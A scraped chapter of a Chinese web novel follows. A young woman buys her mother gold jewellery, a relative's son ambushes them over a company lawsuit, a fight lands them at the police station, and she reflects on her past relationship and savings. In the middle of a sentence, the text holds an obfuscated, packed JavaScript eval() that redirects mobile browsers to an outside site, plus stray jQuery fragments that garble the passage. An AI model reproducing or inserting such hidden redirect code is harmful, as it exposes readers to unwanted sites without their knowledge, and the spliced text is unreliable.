文趣网 > 都市小说 > 趁情动 > 40. 第 40 章
    初七,庾倩倩带刘芳出来商场,给她买点东西。

    年还没过完,商场里人不少,红色的装饰还挂着,音响里循环播放着喜庆的贺岁歌。

    一楼就是金店,金饰在玻璃下面一格一格地排列着,像是被精心摆放的糖果。

    刘芳脚步慢了下来,目光往柜台里探了探。

    庾倩倩见她有兴趣,便带她走过去,让柜姐拿出几个兔子的挂坠,一个一个地看。

    刘芳属兔。

    女儿要给自己买金饰,刘芳当然很开心。她走在精品店亮堂堂的灯光下,眼睛都亮了,指着这个说“好看”,指着那个说“这个也不错”。

    最后倒是庾倩倩看中了一个。

    纯金的,不大,兔子耳朵翘起来,眼睛是两颗小小的红宝石,在灯光下一闪一闪的。

    “这个好看。”庾倩倩拿起来,在刘芳脖子前比了比。

    “还没到生日呢。”刘芳笑着推拒。

    柜姐也是会说话的人,连忙接上话头:“阿姨,不管过不过生日都可以收礼物的,孝心可不分时间。这是您女儿吧?真漂亮,又漂亮又孝顺,您怎么这么好福气哦。”

    一番话说得又甜又顺,刘芳最喜欢听这种奉承话,一听就受用,笑容根本掩饰不住。

    “是啊!算命的都说我以后要享女儿的福。”

    柜姐笑眯眯地看了庾倩倩一眼,又补了一句:“一看您女儿就有贵相,您也长得好看,母女俩站在一起,跟姐妹似的。”

    刘芳更是笑得合不拢嘴,勾着庾倩倩的手臂又紧了几分。

    “行,那就买这家吧。定做一个大的。”庾倩倩说。目前金价还挺紧俏,也算存钱了,多花一点也所谓。

    笑容很快转移到到了柜姐脸上。

    庾倩倩又给刘芳买了一对耳环,付完款后,拿了收据,这才坐扶梯上去买衣服。

    “对了,有件事我忘记告诉你,”刘芳忽然抬起头,像是刚想起来,“就是除夕那天晚上,你看完房子不是走了吗,有个人半夜来了我们村里。”

    庾倩倩纳闷:“谁?”

    “是个年轻英俊的帅哥,车停在村口,跟你差不多的车子,”刘芳顿了顿,“我问他是不是迷路了,他说不是,问这里是不是庾倩倩家里?我说是,你有什么事?”

    稍后,刘芳才抬头说:“他说他是你前男友,叫谢孟渊。”

    庾倩倩愣了一下。谢孟渊?除夕前他来找她干什么?

    她本来就握住手机本想发微信问一下,想想又算了,都分手这么久,现在问反而奇怪。

    可能他也就是怀念了一下而已吧。

    冬天入夜快,再逛了会儿,庾倩倩便送刘芳回到村里,把车停在村口。

    刘芳走在前面,庾倩倩跟在她身后,两个人刚走到家门口,就看到一对年轻男女蹲在门边。

    一看到她们就站了起来,像是等了很久。

    男人立刻就冲上来:“你就是庾倩倩?我爸也是你爸,不要把事情做绝!”

    女的也跟着嚷嚷:“大家都是一个村的,这点情分都不给吗?你要我们家赔一百万,狮子大开口啊!”

    庾倩倩愣了一下,没反应过来什么情况。

    刘芳像是知道所为何来,立刻地把庾倩倩往身后一拉,自己挡在前面,嗓门比平时拔高了几分:“大过年的,你们闹什么事?”

    “我们闹事?你们不让我们好过这个年,我们也不会让你们过好这个年!”男人的声音带着一股豁出去了的蛮横。

    借着门口昏暗的灯光,庾倩倩这才看清来人的脸。

    庾富强?庾长庚的儿子?旁边那个是他的老婆?

    庾倩倩记得小时候在村里见过,那时候他还算清清秀秀一少年,很内向,不怎么说话。

    没想到现在长得跟庾长根如出一辙,连那股蛮横的劲儿都像,鼻子、眉骨、倒三角眼,一模一样。

    刘芳也不是吃素的,站在前面,一手挡着庾倩倩,一手指着庾富强:“又不是我们倩倩起诉的!我们的还没开庭呢!是人家杜尚起诉的,你去找杜尚啊!”

    “你女儿不是在杜尚?”

    “我女儿早就辞职了!”

    “那又怎么样,就是她搞的鬼!”

    双方一言不合,庾富强推了刘芳一把。庾倩倩上前挡了一下,那女人又扑过来要抓庾倩倩的头发。

    居然就这么不由分说,打了起来。

    庾倩倩怎么也没想到,春节的最后一天,自己会在警察局。

    到了警察局,庾倩倩才知道,原来杜尚当初以庾长根毁坏公司名誉、导致公司股票受损为由起诉了他。

    大公司起诉,比庾倩倩的民事诉讼快得多,索赔金额也大得多,百万起步。

    庾长根本来也是个外强中干的人,被这么一个大公司告,自然就怕了,想和解,对方不肯接受,直接申请了财产保全。

    不到一个月,账户里十几万被划走,村里房子没房产证,没被拍走,但人成了老赖。

    他儿子庾富强当然不肯,已经找刘芳闹了三四次,刘芳都没说。

    这次是知道庾倩倩过年在家,特地来蹲守的。

    这点事还弄不到坐牢,四个人都被警察训了一顿,各自签了保证书。

    庾富强和他老婆先走了,走的时候回头瞪了她们一眼。

    庾倩倩和刘芳后从派出所出来,夜色已经很深了,路灯在雾气里亮着一团昏黄的光。

    庾倩倩先送刘芳回了村里。明天要上班,她也要回去了。

    刘芳进了屋,站在门口反复叮嘱她路上小心。

    庾倩倩说知道了,让她把门关好。

    程嘉良初四就已经回公司,叶晓在群里发过他一张照片,大年初五的办公室灯已经亮了。所以庾倩倩也没办法送他。

    庾倩倩开车出来,废弃的村口路灯一盏好一盏坏,有的亮着昏黄的光,有的黑着。

    地面上结着寒霜,在车灯下闪着细碎的白光,空气里有潮湿的冷意。

    庾倩倩握着方向盘,长长叹出一口气,右手握着方向盘,左手手肘支在车窗边沿,手指一下一下地捋着头发,从发根滑到发尾。

    这是她思考时的动作。

    今年真不是一个好

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638411|205423||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    年。

    公司的事不顺利,生活上也是。

    家里的糟心事简直一摊接一摊,时不时就得来一下。

    如果她只是个刚出村的普通大学生,刚毕业被庾长根去公司闹一场,他儿子再在村里闹几场,自己还能不能有精力好好工作?又能不能有底气去做喜欢的工作?

    光是时不时回来处理这些琐事,每一趟都要跑、都要解释、都要应付,恐怕就已经要被折腾死了。

    窗外的田野在夜色里沉默地铺展开来。远处村庄的灯火稀稀疏疏的。

    她没有回头看,只是一直往前开,开进夜色里。

    冬夜的月光很淡,被雾气裹着,在路灯周围晕开一圈圈昏黄的光。

    路边无比安静,没有行人,没有车,只有天边一轮寒冷的月,悬在灰白色的云层边缘。

    庾倩倩握着方向盘,目光落在前方,脑子里却忍不住想:谢孟渊为什么突然来她住的地方?

    曾经她去高中附近的餐馆洗盘子,老板一个小时只给五块钱,还扣她钱。冬天的水冷得她双手通红,洗完盘子指节都是肿的。

    她也想过做网红。有人来找她签约,她看了合同,密密麻麻的条款,完完全全的卖身契,她没签。

    还有一些人提出奇怪的要求,拍一些奇怪的内容。她拒绝了。

    她因为漂亮、年纪又小,试图出去打工的那些经历里,遇到的人里没有什么好人。

    她不像程嘉良。程嘉良是个男性,没受过什么骚扰,他的母亲对他寄予厚望,要他考出去、要他出人头地。

    而刘芳虽然也对庾倩倩看重,更多却是希望她嫁个好老公。

    庾倩倩从小就知道,这个家的指望不在她身上,在她未来的婚姻里。

    所以当谢孟渊出现在她面前的时候,她没有太多挣扎。

    她跟谢孟渊从高中就认识了,高考完那年,她十八岁,第一次跟他上床,并且正式决定跟他一起出国。

    谢孟渊包了她的学费、在国外的一切开销,还有每个月给她十万块钱的零花钱。

    对于有钱人来说,十万块钱可能不算什么。

    可对于那时候的庾倩倩来说,那个数字好大,好大。大到她觉得这笔钱可以买她的一辈子。

    几年下来,她不仅拿到了一张含金量十足的学历,还存了将近四百万的现金。

    那笔钱稳稳地躺在她的账户里,像一块不会移动的压舱石。

    这还不算衣服、珠宝、车子之类的实物,折下来估计有五百万出头。

    财不露白,具体她有多少存款,连刘芳都没告诉过。

    有了这笔钱,她才第一次拥有了安心感,才有底气和信心。

    不是因为她可以过优渥的生活了,而是因为她终于在任何情况下,都有离开的权利,有对抗的资本,终于敢放松下来。

    前方的路在车灯里延伸出去,她握着方向盘,直视着前方的黑暗。

    那笔钱是她最大的安全感,她不能动它。

    踩下油门,车子稳稳地往前开去,终于穿过那些犹豫和动摇,回到她最熟悉的那个方向。